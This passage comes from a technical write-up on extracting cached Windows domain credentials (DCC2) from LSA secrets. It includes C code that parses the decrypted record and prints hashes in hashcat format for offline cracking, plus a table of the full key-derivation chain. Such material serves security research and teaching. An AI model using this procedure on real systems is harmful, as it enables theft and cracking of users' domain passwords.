[0x00 - 0x0F]  DCC2 hash (16 bytes, the MSCACHE v2 hash)
[0x10 - 0x47]  Internal data (56 bytes)
[0x48 - ...]   Username (Unicode, length from NL_RECORD.UserLength)
               Domain name (Unicode, length from NL_RECORD.DomainNameLength)

We extract the username and domain, lowercase the username (DCC2 hashes are computed with a lowercased username), and format the output in hashcat-compatible format:

PUCHAR Hash = Plaintext;  // first 16 bytes

// Extract username at offset 0x48
ULONG UserNameLen = Record->UserLength;
ULONG AlignedUserNameLen = (UserNameLen + 3) & ~3;  // DWORD-aligned

RtlCopyMemory(Username, Plaintext + DCC2_USERNAME_OFFSET, UserNameLen);

// Lowercase the username (DCC2 requirement)
for (ULONG i = 0; i < UserNameWchars; i++)
{
    if (Username[i] >= L'A' && Username[i] <= L'Z')
        Username[i] += (L'a' - L'A');
}

// Extract domain name (follows the aligned username)
RtlCopyMemory(Domain, Plaintext + 0x48 + AlignedUserNameLen, DomainLen);

// Print in hashcat mode 2100 format
wprintf(L"%ws/%ws:$DCC2$%lu#%ws#", Domain, Username, IterationCount, Username);

for (UCHAR i = 0; i < MD4_DIGEST_LENGTH; i++)
    wprintf(L"%02x", Hash[i]);

The resulting output format, DOMAIN/user:$DCC2$10240#user#<hash>, can be fed directly to Hashcat (mode 2100) or John the Ripper for offline password cracking.

Summary: The Complete LSA Key Chain

The following table recaps the full chain of keys, from the Boot Key to the final plaintext:

Step Input Operation Output
1 Registry class names (JD, Skew1, GBG, Data) Hex decode + fixed permutation Boot Key (16 bytes)
2 Boot Key + PolEKList salt (32 bytes) SHA-256(key ‖ salt × 1000) → AES-256-ECB LSA Key (32 bytes)
3a LSA Key + per-secret salt (32 bytes) SHA-256(key ‖ salt × 1000) → AES-256-ECB Plaintext secret
3b $MACHINE.ACC plaintext password MD4 Machine NT hash
4a LSA Key + NL$KM salt (32 bytes) SHA-256(key ‖ salt × 1000) → AES-256-ECB NL$KM key (16 bytes)
4b NL$KM key + per-entry IV (16 bytes) AES-128-CBC DCC2 hash + username

A few design observations:

References